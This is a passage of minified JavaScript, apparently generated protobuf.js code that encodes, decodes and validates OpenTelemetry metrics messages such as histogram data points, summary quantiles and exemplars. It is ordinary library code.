if(typeof J.startTimeUnixNano==="object")O.startTimeUnixNano=new FA.LongBits(J.startTimeUnixNano.low>>>0,J.startTimeUnixNano.high>>>0).toNumber()}if(J.timeUnixNano!=null){if(FA.Long)(O.timeUnixNano=FA.Long.fromValue(J.timeUnixNano)).unsigned=!1;else if(typeof J.timeUnixNano==="string")O.timeUnixNano=parseInt(J.timeUnixNano,10);else if(typeof J.timeUnixNano==="number")O.timeUnixNano=J.timeUnixNano;else if(typeof J.timeUnixNano==="object")O.timeUnixNano=new FA.LongBits(J.timeUnixNano.low>>>0,J.timeUnixNano.high>>>0).toNumber()}if(J.count!=null){if(FA.Long)(O.count=FA.Long.fromValue(J.count)).unsigned=!1;else if(typeof J.count==="string")O.count=parseInt(J.count,10);else if(typeof J.count==="number")O.count=J.count;else if(typeof J.count==="object")O.count=new FA.LongBits(J.count.low>>>0,J.count.high>>>0).toNumber()}if(J.sum!=null)O.sum=Number(J.sum);if(J.scale!=null)O.scale=J.scale|0;if(J.zeroCount!=null){if(FA.Long)(O.zeroCount=FA.Long.fromValue(J.zeroCount)).unsigned=!1;else if(typeof J.zeroCount==="string")O.zeroCount=parseInt(J.zeroCount,10);else if(typeof J.zeroCount==="number")O.zeroCount=J.zeroCount;else if(typeof J.zeroCount==="object")O.zeroCount=new FA.LongBits(J.zeroCount.low>>>0,J.zeroCount.high>>>0).toNumber()}if(J.positive!=null){if(typeof J.positive!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.positive: object expected");O.positive=uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets.fromObject(J.positive)}if(J.negative!=null){if(typeof J.negative!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.negative: object expected");O.negative=uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets.fromObject(J.negative)}if(J.flags!=null)O.flags=J.flags>>>0;if(J.exemplars){if(!Array.isArray(J.exemplars))throw TypeError(".opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.exemplars: array expected");O.exemplars=[];for(var X=0;X<J.exemplars.length;++X){if(typeof J.exemplars[X]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.exemplars: object expected");O.exemplars[X]=uA.opentelemetry.proto.metrics.v1.Exemplar.fromObject(J.exemplars[X])}}if(J.min!=null)O.min=Number(J.min);if(J.max!=null)O.max=Number(J.max);if(J.zeroThreshold!=null)O.zeroThreshold=Number(J.zeroThreshold);return O},z.toObject=function(J,O){if(!O)O={};var X={};if(O.arrays||O.defaults)X.attributes=[],X.exemplars=[];if(O.defaults){if(FA.Long){var $=new FA.Long(0,0,!1);X.startTimeUnixNano=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.startTimeUnixNano=O.longs===String?"0":0;if(FA.Long){var $=new FA.Long(0,0,!1);X.timeUnixNano=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.timeUnixNano=O.longs===String?"0":0;if(FA.Long){var $=new FA.Long(0,0,!1);X.count=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.count=O.longs===String?"0":0;if(X.scale=0,FA.Long){var $=new FA.Long(0,0,!1);X.zeroCount=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.zeroCount=O.longs===String?"0":0;X.positive=null,X.negative=null,X.flags=0,X.zeroThreshold=0}if(J.attributes&&J.attributes.length){X.attributes=[];for(var _=0;_<J.attributes.length;++_)X.attributes[_]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(J.attributes[_],O)}if(J.startTimeUnixNano!=null&&J.hasOwnProperty("startTimeUnixNano"))if(typeof J.startTimeUnixNano==="number")X.startTimeUnixNano=O.longs===String?String(J.startTimeUnixNano):J.startTimeUnixNano;else X.startTimeUnixNano=O.longs===String?FA.Long.prototype.toString.call(J.startTimeUnixNano):O.longs===Number?new FA.LongBits(J.startTimeUnixNano.low>>>0,J.startTimeUnixNano.high>>>0).toNumber():J.startTimeUnixNano;if(J.timeUnixNano!=null&&J.hasOwnProperty("timeUnixNano"))if(typeof J.timeUnixNano==="number")X.timeUnixNano=O.longs===String?String(J.timeUnixNano):J.timeUnixNano;else X.timeUnixNano=O.longs===String?FA.Long.prototype.toString.call(J.timeUnixNano):O.longs===Number?new FA.LongBits(J.timeUnixNano.low>>>0,J.timeUnixNano.high>>>0).toNumber():J.timeUnixNano;if(J.count!=null&&J.hasOwnProperty("count"))if(typeof J.count==="number")X.count=O.longs===String?String(J.count):J.count;else X.count=O.longs===String?FA.Long.prototype.toString.call(J.count):O.longs===Number?new FA.LongBits(J.count.low>>>0,J.count.high>>>0).toNumber():J.count;if(J.sum!=null&&J.hasOwnProperty("sum")){if(X.sum=O.json&&!isFinite(J.sum)?String(J.sum):J.sum,O.oneofs)X._sum="sum"}if(J.scale!=null&&J.hasOwnProperty("scale"))X.scale=J.scale;if(J.zeroCount!=null&&J.hasOwnProperty("zeroCount"))if(typeof J.zeroCount==="number")X.zeroCount=O.longs===String?String(J.zeroCount):J.zeroCount;else X.zeroCount=O.longs===String?FA.Long.prototype.toString.call(J.zeroCount):O.longs===Number?new FA.LongBits(J.zeroCount.low>>>0,J.zeroCount.high>>>0).toNumber():J.zeroCount;if(J.positive!=null&&J.hasOwnProperty("positive"))X.positive=uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets.toObject(J.positive,O);if(J.negative!=null&&J.hasOwnProperty("negative"))X.negative=uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets.toObject(J.negative,O);if(J.flags!=null&&J.hasOwnProperty("flags"))X.flags=J.flags;if(J.exemplars&&J.exemplars.length){X.exemplars=[];for(var _=0;_<J.exemplars.length;++_)X.exemplars[_]=uA.opentelemetry.proto.metrics.v1.Exemplar.toObject(J.exemplars[_],O)}if(J.min!=null&&J.hasOwnProperty("min")){if(X.min=O.json&&!isFinite(J.min)?String(J.min):J.min,O.oneofs)X._min="min"}if(J.max!=null&&J.hasOwnProperty("max")){if(X.max=O.json&&!isFinite(J.max)?String(J.max):J.max,O.oneofs)X._max="max"}if(J.zeroThreshold!=null&&J.hasOwnProperty("zeroThreshold"))X.zeroThreshold=O.json&&!isFinite(J.zeroThreshold)?String(J.zeroThreshold):J.zeroThreshold;return X},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint"},z.Buckets=function(){function H(J){if(this.bucketCounts=[],J){for(var O=Object.keys(J),X=0;X<O.length;++X)if(J[O[X]]!=null)this[O[X]]=J[O[X]]}}return H.prototype.offset=null,H.prototype.bucketCounts=FA.emptyArray,H.create=function(O){return new H(O)},H.encode=function(O,X){if(!X)X=l5.create();if(O.offset!=null&&Object.hasOwnProperty.call(O,"offset"))X.uint32(8).sint32(O.offset);if(O.bucketCounts!=null&&O.bucketCounts.length){X.uint32(18).fork();for(var $=0;$<O.bucketCounts.length;++$)X.uint64(O.bucketCounts[$]);X.ldelim()}return X},H.encodeDelimited=function(O,X){return this.encode(O,X).ldelim()},H.decode=function(O,X,$){if(!(O instanceof $6))O=$6.create(O);var _=X===void 0?O.len:O.pos+X,G=new uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets;while(O.pos<_){var Z=O.uint32();if(Z===$)break;switch(Z>>>3){case 1:{G.offset=O.sint32();break}case 2:{if(!(G.bucketCounts&&G.bucketCounts.length))G.bucketCounts=[];if((Z&7)===2){var W=O.uint32()+O.pos;while(O.pos<W)G.bucketCounts.push(O.uint64())}else G.bucketCounts.push(O.uint64());break}default:O.skipType(Z&7);break}}return G},H.decodeDelimited=function(O){if(!(O instanceof $6))O=new $6(O);return this.decode(O,O.uint32())},H.verify=function(O){if(typeof O!=="object"||O===null)return"object expected";if(O.offset!=null&&O.hasOwnProperty("offset")){if(!FA.isInteger(O.offset))return"offset: integer expected"}if(O.bucketCounts!=null&&O.hasOwnProperty("bucketCounts")){if(!Array.isArray(O.bucketCounts))return"bucketCounts: array expected";for(var X=0;X<O.bucketCounts.length;++X)if(!FA.isInteger(O.bucketCounts[X])&&!(O.bucketCounts[X]&&FA.isInteger(O.bucketCounts[X].low)&&FA.isInteger(O.bucketCounts[X].high)))return"bucketCounts: integer|Long[] expected"}return null},H.fromObject=function(O){if(O instanceof uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets)return O;var X=new uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets;if(O.offset!=null)X.offset=O.offset|0;if(O.bucketCounts){if(!Array.isArray(O.bucketCounts))throw TypeError(".opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets.bucketCounts: array expected");X.bucketCounts=[];for(var $=0;$<O.bucketCounts.length;++$)if(FA.Long)(X.bucketCounts[$]=FA.Long.fromValue(O.bucketCounts[$])).unsigned=!0;else if(typeof O.bucketCounts[$]==="string")X.bucketCounts[$]=parseInt(O.bucketCounts[$],10);else if(typeof O.bucketCounts[$]==="number")X.bucketCounts[$]=O.bucketCounts[$];else if(typeof O.bucketCounts[$]==="object")X.bucketCounts[$]=new FA.LongBits(O.bucketCounts[$].low>>>0,O.bucketCounts[$].high>>>0).toNumber(!0)}return X},H.toObject=function(O,X){if(!X)X={};var $={};if(X.arrays||X.defaults)$.bucketCounts=[];if(X.defaults)$.offset=0;if(O.offset!=null&&O.hasOwnProperty("offset"))$.offset=O.offset;if(O.bucketCounts&&O.bucketCounts.length){$.bucketCounts=[];for(var _=0;_<O.bucketCounts.length;++_)if(typeof O.bucketCounts[_]==="number")$.bucketCounts[_]=X.longs===String?String(O.bucketCounts[_]):O.bucketCounts[_];else $.bucketCounts[_]=X.longs===String?FA.Long.prototype.toString.call(O.bucketCounts[_]):X.longs===Number?new FA.LongBits(O.bucketCounts[_].low>>>0,O.bucketCounts[_].high>>>0).toNumber(!0):O.bucketCounts[_]}return $},H.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},H.getTypeUrl=function(O){if(O===void 0)O="type.googleapis.com";return O+"/opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets"},H}(),z}(),Y.SummaryDataPoint=function(){function z(w){if(this.attributes=[],this.quantileValues=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.attributes=FA.emptyArray,z.prototype.startTimeUnixNano=null,z.prototype.timeUnixNano=null,z.prototype.count=null,z.prototype.sum=null,z.prototype.quantileValues=FA.emptyArray,z.prototype.flags=null,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.startTimeUnixNano!=null&&Object.hasOwnProperty.call(H,"startTimeUnixNano"))J.uint32(17).fixed64(H.startTimeUnixNano);if(H.timeUnixNano!=null&&Object.hasOwnProperty.call(H,"timeUnixNano"))J.uint32(25).fixed64(H.timeUnixNano);if(H.count!=null&&Object.hasOwnProperty.call(H,"count"))J.uint32(33).fixed64(H.count);if(H.sum!=null&&Object.hasOwnProperty.call(H,"sum"))J.uint32(41).double(H.sum);if(H.quantileValues!=null&&H.quantileValues.length)for(var O=0;O<H.quantileValues.length;++O)uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.ValueAtQuantile.encode(H.quantileValues[O],J.uint32(50).fork()).ldelim();if(H.attributes!=null&&H.attributes.length)for(var O=0;O<H.attributes.length;++O)uA.opentelemetry.proto.common.v1.KeyValue.encode(H.attributes[O],J.uint32(58).fork()).ldelim();if(H.flags!=null&&Object.hasOwnProperty.call(H,"flags"))J.uint32(64).uint32(H.flags);return J},z.encodeDelimited=function(H,J){return this.encode(H,J).ldelim()},z.decode=function(H,J,O){if(!(H instanceof $6))H=$6.create(H);var X=J===void 0?H.len:H.pos+J,$=new uA.opentelemetry.proto.metrics.v1.SummaryDataPoint;while(H.pos<X){var _=H.uint32();if(_===O)break;switch(_>>>3){case 7:{if(!($.attributes&&$.attributes.length))$.attributes=[];$.attributes.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(H,H.uint32()));break}case 2:{$.startTimeUnixNano=H.fixed64();break}case 3:{$.timeUnixNano=H.fixed64();break}case 4:{$.count=H.fixed64();break}case 5:{$.sum=H.double();break}case 6:{if(!($.quantileValues&&$.quantileValues.length))$.quantileValues=[];$.quantileValues.push(uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.ValueAtQuantile.decode(H,H.uint32()));break}case 8:{$.flags=H.uint32();break}default:H.skipType(_&7);break}}return $},z.decodeDelimited=function(H){if(!(H instanceof $6))H=new $6(H);return this.decode(H,H.uint32())},z.verify=function(H){if(typeof H!=="object"||H===null)return"object expected";if(H.attributes!=null&&H.hasOwnProperty("attributes")){if(!Array.isArray(H.attributes))return"attributes: array expected";for(var J=0;J<H.attributes.length;++J){var O=uA.opentelemetry.proto.common.v1.KeyValue.verify(H.attributes[J]);if(O)return"attributes."+O}}if(H.startTimeUnixNano!=null&&H.hasOwnProperty("startTimeUnixNano")){if(!FA.isInteger(H.startTimeUnixNano)&&!(H.startTimeUnixNano&&FA.isInteger(H.startTimeUnixNano.low)&&FA.isInteger(H.startTimeUnixNano.high)))return"startTimeUnixNano: integer|Long expected"}if(H.timeUnixNano!=null&&H.hasOwnProperty("timeUnixNano")){if(!FA.isInteger(H.timeUnixNano)&&!(H.timeUnixNano&&FA.isInteger(H.timeUnixNano.low)&&FA.isInteger(H.timeUnixNano.high)))return"timeUnixNano: integer|Long expected"}if(H.count!=null&&H.hasOwnProperty("count")){if(!FA.isInteger(H.count)&&!(H.count&&FA.isInteger(H.count.low)&&FA.isInteger(H.count.high)))return"count: integer|Long expected"}if(H.sum!=null&&H.hasOwnProperty("sum")){if(typeof H.sum!=="number")return"sum: number expected"}if(H.quantileValues!=null&&H.hasOwnProperty("quantileValues")){if(!Array.isArray(H.quantileValues))return"quantileValues: array expected";for(var J=0;J<H.quantileValues.length;++J){var O=uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.ValueAtQuantile.verify(H.quantileValues[J]);if(O)return"quantileValues."+O}}if(H.flags!=null&&H.hasOwnProperty("flags")){if(!FA.isInteger(H.flags))return"flags: integer expected"}return null},z.fromObject=function(H){if(H instanceof uA.opentelemetry.proto.metrics.v1.SummaryDataPoint)return H;var J=new uA.opentelemetry.proto.metrics.v1.SummaryDataPoint;if(H.attributes){if(!Array.isArray(H.attributes))throw TypeError(".opentelemetry.proto.metrics.v1.SummaryDataPoint.attributes: array expected");J.attributes=[];for(var O=0;O<H.attributes.length;++O){if(typeof H.attributes[O]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.SummaryDataPoint.attributes: object expected");J.attributes[O]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(H.attributes[O])}}if(H.startTimeUnixNano!=null){if(FA.Long)(J.startTimeUnixNano=FA.Long.fromValue(H.startTimeUnixNano)).unsigned=!1;else if(typeof H.startTimeUnixNano==="string")J.startTimeUnixNano=parseInt(H.startTimeUnixNano,10);else if(typeof H.startTimeUnixNano==="number")J.startTimeUnixNano=H.startTimeUnixNano;else if(typeof H.startTimeUnixNano==="object")J.startTimeUnixNano=new FA.LongBits(H.startTimeUnixNano.low>>>0,H.startTimeUnixNano.high>>>0).toNumber()}if(H.timeUnixNano!=null){if(FA.Long)(J.timeUnixNano=FA.Long.fromValue(H.timeUnixNano)).unsigned=!1;else if(typeof H.timeUnixNano==="string")J.timeUnixNano=parseInt(H.timeUnixNano,10);else if(typeof H.timeUnixNano==="number")J.timeUnixNano=H.timeUnixNano;else if(typeof H.timeUnixNano==="object")J.timeUnixNano=new FA.LongBits(H.timeUnixNano.low>>>0,H.timeUnixNano.high>>>0).toNumber()}if(H.count!=null){if(FA.Long)(J.count=FA.Long.fromValue(H.count)).unsigned=!1;else if(typeof H.count==="string")J.count=parseInt(H.count,10);else if(typeof H.count==="number")J.count=H.count;else if(typeof H.count==="object")J.count=new FA.LongBits(H.count.low>>>0,H.count.high>>>0).toNumber()}if(H.sum!=null)J.sum=Number(H.sum);if(H.quantileValues){if(!Array.isArray(H.quantileValues))throw TypeError(".opentelemetry.proto.metrics.v1.SummaryDataPoint.quantileValues: array expected");J.quantileValues=[];for(var O=0;O<H.quantileValues.length;++O){if(typeof H.quantileValues[O]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.SummaryDataPoint.quantileValues: object expected");J.quantileValues[O]=uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.ValueAtQuantile.fromObject(H.quantileValues[O])}}if(H.flags!=null)J.flags=H.flags>>>0;return J},z.toObject=function(H,J){if(!J)J={};var O={};if(J.arrays||J.defaults)O.quantileValues=[],O.attributes=[];if(J.defaults){if(FA.Long){var X=new FA.Long(0,0,!1);O.startTimeUnixNano=J.longs===String?X.toString():J.longs===Number?X.toNumber():X}else O.startTimeUnixNano=J.longs===String?"0":0;if(FA.Long){var X=new FA.Long(0,0,!1);O.timeUnixNano=J.longs===String?X.toString():J.longs===Number?X.toNumber():X}else O.timeUnixNano=J.longs===String?"0":0;if(FA.Long){var X=new FA.Long(0,0,!1);O.count=J.longs===String?X.toString():J.longs===Number?X.toNumber():X}else O.count=J.longs===String?"0":0;O.sum=0,O.flags=0}if(H.startTimeUnixNano!=null&&H.hasOwnProperty("startTimeUnixNano"))if(typeof H.startTimeUnixNano==="number")O.startTimeUnixNano=J.longs===String?String(H.startTimeUnixNano):H.startTimeUnixNano;else O.startTimeUnixNano=J.longs===String?FA.Long.prototype.toString.call(H.startTimeUnixNano):J.longs===Number?new FA.LongBits(H.startTimeUnixNano.low>>>0,H.startTimeUnixNano.high>>>0).toNumber():H.startTimeUnixNano;if(H.timeUnixNano!=null&&H.hasOwnProperty("timeUnixNano"))if(typeof H.timeUnixNano==="number")O.timeUnixNano=J.longs===String?String(H.timeUnixNano):H.timeUnixNano;else O.timeUnixNano=J.longs===String?FA.Long.prototype.toString.call(H.timeUnixNano):J.longs===Number?new FA.LongBits(H.timeUnixNano.low>>>0,H.timeUnixNano.high>>>0).toNumber():H.timeUnixNano;if(H.count!=null&&H.hasOwnProperty("count"))if(typeof H.count==="number")O.count=J.longs===String?String(H.count):H.count;else O.count=J.longs===String?FA.Long.prototype.toString.call(H.count):J.longs===Number?new FA.LongBits(H.count.low>>>0,H.count.high>>>0).toNumber():H.count;if(H.sum!=null&&H.hasOwnProperty("sum"))O.sum=J.json&&!isFinite(H.sum)?String(H.sum):H.sum;if(H.quantileValues&&H.quantileValues.length){O.quantileValues=[];for(var $=0;$<H.quantileValues.length;++$)O.quantileValues[$]=uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.ValueAtQuantile.toObject(H.quantileValues[$],J)}if(H.attributes&&H.attributes.length){O.attributes=[];for(var $=0;$<H.attributes.length;++$)O.attributes[$]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(H.attributes[$],J)}if(H.flags!=null&&H.hasOwnProperty("flags"))O.flags=H.flags;return O},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(H){if(H===void 0)H="type.googleapis.com";return H+"/opentelemetry.proto.metrics.v1.SummaryDataPoint"},z.ValueAtQuantile=function(){function w(H){if(H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}return w.prototype.quantile=null,w.prototype.value=null,w.create=function(J){return new w(J)},w.encode=function(J,O){if(!O)O=l5.create();if(J.quantile!=null&&Object.hasOwnProperty.call(J,"quantile"))O.uint32(9).double(J.quantile);if(J.value!=null&&Object.hasOwnProperty.call(J,"value"))O.uint32(17).double(J.value);return O},w.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},w.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.ValueAtQuantile;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{_.quantile=J.double();break}case 2:{_.value=J.double();break}default:J.skipType(G&7);break}}return _},w.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},w.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";if(J.quantile!=null&&J.hasOwnProperty("quantile")){if(typeof J.quantile!=="number")return"quantile: number expected"}if(J.value!=null&&J.hasOwnProperty("value")){if(typeof J.value!=="number")return"value: number expected"}return null},w.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.ValueAtQuantile)return J;var O=new uA.opentelemetry.proto.metrics.v1.SummaryDataPoint.ValueAtQuantile;if(J.quantile!=null)O.quantile=Number(J.quantile);if(J.value!=null)O.value=Number(J.value);return O},w.toObject=function(J,O){if(!O)O={};var X={};if(O.defaults)X.quantile=0,X.value=0;if(J.quantile!=null&&J.hasOwnProperty("quantile"))X.quantile=O.json&&!isFinite(J.quantile)?String(J.quantile):J.quantile;if(J.value!=null&&J.hasOwnProperty("value"))X.value=O.json&&!isFinite(J.value)?String(J.value):J.value;return X},w.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},w.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.metrics.v1.SummaryDataPoint.ValueAtQuantile"},w}(),z}(),Y.Exemplar=function(){function z(H){if(this.filteredAttributes=[],H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}z.prototype.filteredAttributes=FA.emptyArray,z.prototype.timeUnixNano=null,z.prototype.asDouble=null,z.prototype.asInt=null,z.prototype.spanId=null,z.prototype.traceId=null;var w;return Object.defineProperty(z.prototype,"value",{get:FA.oneOfGetter(w=["asDouble","asInt"]),set:FA.oneOfSetter(w)}),z.create=function(J){return new z(J)},z.encode=function(J,O){if(!O)O=l5.create();if(J.timeUnixNano!=null&&Object.hasOwnProperty.call(J,"timeUnixNano"))O.uint32(17).fixed64(J.timeUnixNano);if(J.asDouble!=null&&Object.hasOwnProperty.call(J,"asDouble"))O.uint32(25).double(J.asDouble);if(J.spanId!=null&&Object.hasOwnProperty.call(J,"spanId"))O.uint32(34).bytes(J.spanId);if(J.traceId!=null&&Object.hasOwnProperty.call(J,"traceId"))O.uint32(42).bytes(J.traceId);if(J.asInt!=null&&Object.hasOwnProperty.call(J,"asInt"))O.uint32(49).sfixed64(J.asInt);if(J.filteredAttributes!=null&&J.filteredAttributes.length)for(var X=0;X<J.filteredAttributes.length;++X)uA.opentelemetry.proto.common.v1.KeyValue.encode(J.filteredAttributes[X],O.uint32(58).fork()).ldelim();return O},z.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},z.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.metrics.v1.Exemplar;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 7:{if(!(_.filteredAttributes&&_.filteredAttributes.length))_.filteredAttributes=[];_.filteredAttributes.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(J,J.uint32()));break}case 2:{_.timeUnixNano=J.fixed64();break}case 3:{_.asDouble=J.double();break}case 6:{_.asInt=J.sfixed64();break}case 4:{_.spanId=J.bytes();break}case 5:{_.traceId=J.bytes();break}default:J.skipType(G&7);break}}return _},z.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},z.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";var O={};if(J.filteredAttributes!=null&&J.hasOwnProperty("filteredAttributes")){if(!Array.isArray(J.filteredAttributes))return"filteredAttributes: array expected";for(var X=0;X<J.filteredAttributes.length;++X){var $=uA.opentelemetry.proto.common.v1.KeyValue.verify(J.filteredAttributes[X]);if($)return"filteredAttributes."+$}}if(J.timeUnixNano!=null&&J.hasOwnProperty("timeUnixNano")){if(!FA.isInteger(J.timeUnixNano)&&!(J.timeUnixNano&&FA.isInteger(J.timeUnixNano.low)&&FA.isInteger(J.timeUnixNano.high)))return"timeUnixNano: integer|Long expected"}if(J.asDouble!=null&&J.hasOwnProperty("asDouble")){if(O.value=1,typeof J.asDouble!=="number")return"asDouble: number expected"}if(J.asInt!=null&&J.hasOwnProperty("asInt")){if(O.value===1)return"value: multiple values";if(O.value=1,!FA.isInteger(J.asInt)&&!(J.asInt&&FA.isInteger(J.asInt.low)&&FA.isInteger(J.asInt.high)))return"asInt: integer|Long expected"}if(J.spanId!=null&&J.hasOwnProperty("spanId")){if(!(J.spanId&&typeof J.spanId.length==="number"||FA.isString(J.spanId)))return"spanId: buffer expected"}if(J.traceId!=null&&J.hasOwnProperty("traceId")){if(!(J.traceId&&typeof J.traceId.length==="number"||FA.isString(J.traceId)))return"traceId: buffer expected"}return null},z.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.metrics.v1.Exemplar)return J;var O=new uA.opentelemetry.proto.metrics.v1.Exemplar;if(J.filteredAttributes){if(!Array.isArray(J.filteredAttributes))throw TypeError(".opentelemetry.proto.metrics.v1.Exemplar.filteredAttributes: array expected");O.filteredAttributes=[];for(var X=0;X<J.filteredAttributes.length;++X){if(typeof J.filteredAttributes[X]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.Exemplar.filteredAttributes: object expected");O.filteredAttributes[X]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(J.filteredAttributes[X])}}if(J.timeUnixNano!=null){if(FA.Long)(O.timeUnixNano=FA.Long.fromValue(J.timeUnixNano)).unsigned=!1;else if(typeof J.timeUnixNano==="string")O.timeUnixNano=parseInt(J.timeUnixNano,10);else if(typeof J.timeUnixNano==="number")O.timeUnixNano=J.timeUnixNano;else if(typeof J.timeUnixNano==="object")O.timeUnixNano=new FA.LongBits(J.timeUnixNano.low>>>0,J.timeUnixNano.high>>>0).toNumber()}if(J.asDouble!=null)O.asDouble=Number(J.asDouble);if(J.asInt!=null){if(FA.Long)(O.asInt=FA.Long.fromValue(J.asInt)).unsigned=!1;else if(typeof J.asInt==="string")O.asInt=parseInt(J.asInt,10);else if(typeof J.asInt==="number")O.asInt=J.asInt;else if(typeof J.asInt==="object")O.asInt=new FA.LongBits(J.asInt.low>>>0,J.asInt.high>>>0).toNumber()}if(J.spanId!=null){if(typeof J.spanId==="string")FA.base64.decode(J.spanId,O.spanId=FA.newBuffer(FA.base64.length(J.spanId)),0);else if(J.spanId.length>=0)O.spanId=J.spanId}if(J.traceId!=null){if(typeof J.traceId==="string")FA.base64.decode(J.traceId,O.traceId=FA.newBuffer(FA.base64.length(J.traceId)),0);else if(J.traceId.length>=0)O.traceId=J.traceId}return O},z.toObject=function(J,O){if(!O)O={};var X={};if(O.arrays||O.defaults)X.filteredAttributes=[];if(O.defaults){if(FA.Long){var $=new FA.Long(0,0,!1);X.timeUnixNano=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.timeUnixNano=O.longs===String?"0":0;if(O.bytes===String)X.spanId="";else if(X.spanId=[],O.bytes!==Array)X.spanId=FA.newBuffer(X.spanId);if(O.bytes===String)X.traceId="";else if(X.traceId=[],O.bytes!==Array)X.traceId=FA.newBuffer(X.traceId)}if(J.timeUnixNano!=null&&J.hasOwnProperty("timeUnixNano"))if(typeof J.timeUnixNano==="number")X.timeUnixNano=O.longs===String?String(J.timeUnixNano):J.timeUnixNano;else X.timeUnixNano=O.longs===String?FA.Long.prototype.toString.call(J.timeUnixNano):O.longs===Number?new FA.LongBits(J.timeUnixNano.low>>>0,J.timeUnixNano.high>>>0).toNumber():J.timeUnixNano;if(J.asDouble!=null&&J.hasOwnProperty("asDouble")){if(X.asDouble=O.json&&!isFinite(J.asDouble)?String(J.asDouble):J.asDouble,O.oneofs)X.value="asDouble"}if(J.spanId!=null&&J.hasOwnProperty("spanId"))X.spanId=O.bytes===String?FA.base64.encode(J.spanId,0,J.spanId.length):O.bytes===Array?Array.prototype.slice.call(J.spanId):J.spanId;if(J.traceId!=null&&J.hasOwnProperty("traceId"))X.traceId=O.bytes===String?FA.base64.encode(J.traceId,0,J.traceId.length):O.bytes===Array?Array.prototype.slice.call(J.traceId):J.traceId;if(J.asInt!=null&&J.hasOwnProperty("asInt")){if(typeof J.asInt==="number")X.asInt=O.longs===String?String(J.asInt):J.asInt;else X.asInt=O.longs===String?FA.Long.prototype.toString.call(J.asInt):O.longs===Number?new FA.LongBits(J.asInt.low>>>0,J.asInt.high>>>0).toNumber():J.asInt;if(O.oneofs)X.value="asInt"}if(J.filteredAttributes&&J.filteredAttributes.length){X.filteredAttributes=[];for(var _=0;_<J.filteredAttributes.length;++_)X.filteredAttributes[_]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(J.filteredAttributes[_],O)}return X},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.metrics.v1.Exemplar"},z}(),Y}(),q}(),K.logs=function(){var q={};return q.v1=function(){var Y={};return Y.LogsData=function(){function z(w){if(this.resourceLogs=[],w){for(var H=Object.keys(w),J=0;J<H.length;++J)if(w[H[J]]!=null)this[H[J]]=w[H[J]]}}return z.prototype.resourceLogs=FA.emptyArray,z.create=function(H){return new z(H)},z.encode=function(H,J){if(!J)J=l5.create();if(H.resourceLogs!=null&&H.resourceLogs.length)for(var O=0;O<H.resourceLogs.length;++O)uA.opentelemetry.proto.logs.v1.ResourceLogs.encode(H.resourceLogs[O],J.uint32(10).fork()).ldelim();return J},z.encodeDelimited=function(H,J){return 